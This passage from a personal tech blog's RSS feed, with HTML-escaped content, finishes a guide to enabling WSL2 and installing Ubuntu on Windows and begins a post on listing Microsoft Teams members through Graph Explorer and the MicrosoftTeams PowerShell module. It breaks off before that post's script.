&lt;li&gt;Enable the Virtual machine platform optional feature.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dism.&lt;span style=&#34;color:#f5a97f&#34;&gt;exe&lt;/span&gt; /online /&lt;span style=&#34;color:#91d7e3&#34;&gt;enable-feature&lt;/span&gt; /featurename&lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt;VirtualMachinePlatform /all /norestart&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Reboot&lt;/li&gt;
&lt;li&gt;Run Windows update (and reboot again if there are updates)&lt;/li&gt;
&lt;li&gt;Set WSL2 as your default option.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wsl --set-default-version &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-1024x558.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Enabling WSL2&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;ol start=&#34;6&#34;&gt;
&lt;li&gt;Install your Linux distro of your choice. You can do &lt;a
	
		href = &#34;https://aka.ms/wslstore&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this via Store
	&lt;/span&gt;
&lt;/a&gt;, or via winget, such as Ubuntu using the following command.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;winget install -e --id Canonical.Ubuntu&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-1-1024x188.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Installing Ubuntu via winget&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Note, when trying to set WSL2 as the default option above (Step 5) and you get a error &lt;strong&gt;0x1bc&lt;/strong&gt;, that most likely means you need to run Windows update and reboot.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-2.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;WSL Error&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And here is my running Ubuntu and updating it.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-4.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Installing Ubuntu&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-5.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Updating Ubuntu&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;So, what&amp;rsquo;s the big deal? This is where it gets quite interesting and one simple example is the windows interoperability with Linux - allowing one to run linux commands from within a command prompt.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-6-1024x557.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Mixing Linux and Windows commands&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Getting list of users from Microsoft Teams</title>
      <link>/post/2020/06/getting-list-of-users-from-microsoft-teams/</link>
      <pubDate>Fri, 05 Jun 2020 00:00:00 +0000</pubDate>
      
      <guid>/post/2020/06/getting-list-of-users-from-microsoft-teams/</guid>
      <description>&lt;p&gt;I recently needed to get a list of users that belong to a specific Microsoft Teams team - and there isnt anything out of the box to get this using the Teams app. AFAIK, the only way to do this is using the Microsoft graph API - for which there are a few options.&lt;/p&gt;
&lt;p&gt;For something quick (e.g. getting a list of users in a team), using the &lt;a
	
		href = &#34;https://developer.microsoft.com/en-us/graph/graph-explorer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Graph explorer
	&lt;/span&gt;
&lt;/a&gt; could be easy enough. On the other hand, if you need something more robust, you should program against the (REST) API.&lt;/p&gt;
&lt;h3 id=&#34;graph-explorer&#34;&gt;Graph Explorer&lt;/h3&gt;
&lt;p&gt;Navigate to &lt;a
	
		href = &#34;https://developer.microsoft.com/en-us/graph/graph-explorer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Graph explorer
	&lt;/span&gt;
&lt;/a&gt;, sign in and authenticate yourself against the specific O365 tenant you are interested in - most folks would only have one.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;https://i1.wp.com/www.desigeek.com/blog/amit/wp-content/uploads/2020/05/image-1.png?fit=660%2C349&amp;amp;ssl=1&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Microsoft Graph Explorer&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once authenticated, on the panel on the left you see several sample queries and scroll down until you see the &lt;strong&gt;Teams&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Teams sample queries&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;To get members of a specific team, you need to get the team ID for that Team. This is unique ID (GUID) and doesn&amp;rsquo;t change over the lifetime of the team. If you have this, then go ahead to the next section - Getting team members.&lt;/p&gt;
&lt;h3 id=&#34;getting-a-list-of-teams-and-team-id&#34;&gt;Getting a list of Teams and Team ID&lt;/h3&gt;
&lt;p&gt;On the query panel in Graph explorer, select the &amp;ldquo;&lt;strong&gt;my joined teams&lt;/strong&gt;&amp;rdquo; and run the query. You will get a JSON back that contains the list of teams that you are a member of. The &amp;ldquo;&lt;em&gt;id&lt;/em&gt;&amp;rdquo; element represents the Team ID which you would need for any team related API calls. For example, I am interested in this specific #AI team: &amp;ldquo;#Reinforcement Learning and Decision AI&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/team-explorer-1024x500.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Get team details&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;getting-team-members&#34;&gt;Getting team members&lt;/h3&gt;
&lt;p&gt;Once you have the Team ID (the unique GUID that each identifies each team), you can get the members of the team using that option on the left. As shown on the screenshot below, you do need to pass in the team ID to the REST API and this would be something like this (and don&amp;rsquo;t worry what I am showing below is a fictious GUID):&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;https://graph.microsoft.com/v1.0/groups/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://graph.microsoft.com/v1.0/groups/
	&lt;/span&gt;
&lt;/a&gt;&lt;strong&gt;f3f9ad1f-beea-4026-9b86-dd3788404999&lt;/strong&gt;/members&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;https://i2.wp.com/www.desigeek.com/blog/amit/wp-content/uploads/2020/05/team-user.jpg?fit=660%2C320&amp;amp;ssl=1&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Member details for a specific Microsoft Team team&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;programmatically-getting-microsoft-team-details&#34;&gt;Programmatically getting Microsoft Team details&lt;/h3&gt;
&lt;p&gt;If you want something more robust and repeatable, then using the API (via code) or PowerShell might be better. If you are programming, you will need to register an app - which &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/graph/auth/auth-concepts&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		can authenticate
	&lt;/span&gt;
&lt;/a&gt; using the &lt;a
	
		href = &#34;https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-overview&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Identify platform
	&lt;/span&gt;
&lt;/a&gt;. This of course is quite powerful, but at times for simple things might be a bit too much.&lt;/p&gt;
&lt;p&gt;In my simple task to get users from Teams, I prefer the PowerShell option. To get this going first you need to install the MicrosoftTeam module. This can be done using the command below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Install-Module&lt;/span&gt; -Name MicrosoftTeams&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Depending on your configuration you might get a warning as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;https://i1.wp.com/www.desigeek.com/blog/amit/wp-content/uploads/2020/05/image-2.png?fit=660%2C146&amp;amp;ssl=1&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;PowerShell module installation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once the Teams PowerShell module is installed, you can run PowerShell scripts against Teams and achieve the same result. I have two scripts below showing the same steps as with the Graph Explorer above. One of these gets details of the teams that a user is a member of. And the second script is to get members of a selected team.&lt;/p&gt;
&lt;h3 id=&#34;using-powershell-to-get-team-details&#34;&gt;Using PowerShell to get Team Details&lt;/h3&gt;
&lt;p&gt;The PowerShell script below to get a Team details is below; you can also get it &lt;a
	
		href = &#34;https://github.com/bahree/teams&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		from GitHub
	&lt;/span&gt;
&lt;/a&gt;. Before you run this, there are two variables that need to be set.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;One, the path where you want the team details to be exported (this is a csv file).&lt;/li&gt;
&lt;li&gt;Two, set the email that you will use. This needs to be the same one that you authenticated against.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You will be prompted to sign in to authentic and this should be an experience that most folks would be familiar with. Note, each time you run the script, you need to authenticate - and this is irrespective of say if you are already logged into Teams of Office 365.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/login-759x1024.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Authenticating user against Office 365&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Assuming you have authenticated successfully, you should see an output like the one shown below; and a csv file in the path you configured will be created. This file will always be overwritten - without any prompts (of course this is assuming no other process is open that has a lock on that file).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i1.wp.com/www.desigeek.com/blog/amit/wp-content/uploads/2020/06/team-details.png?fit=660%2C401&amp;amp;ssl=1&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
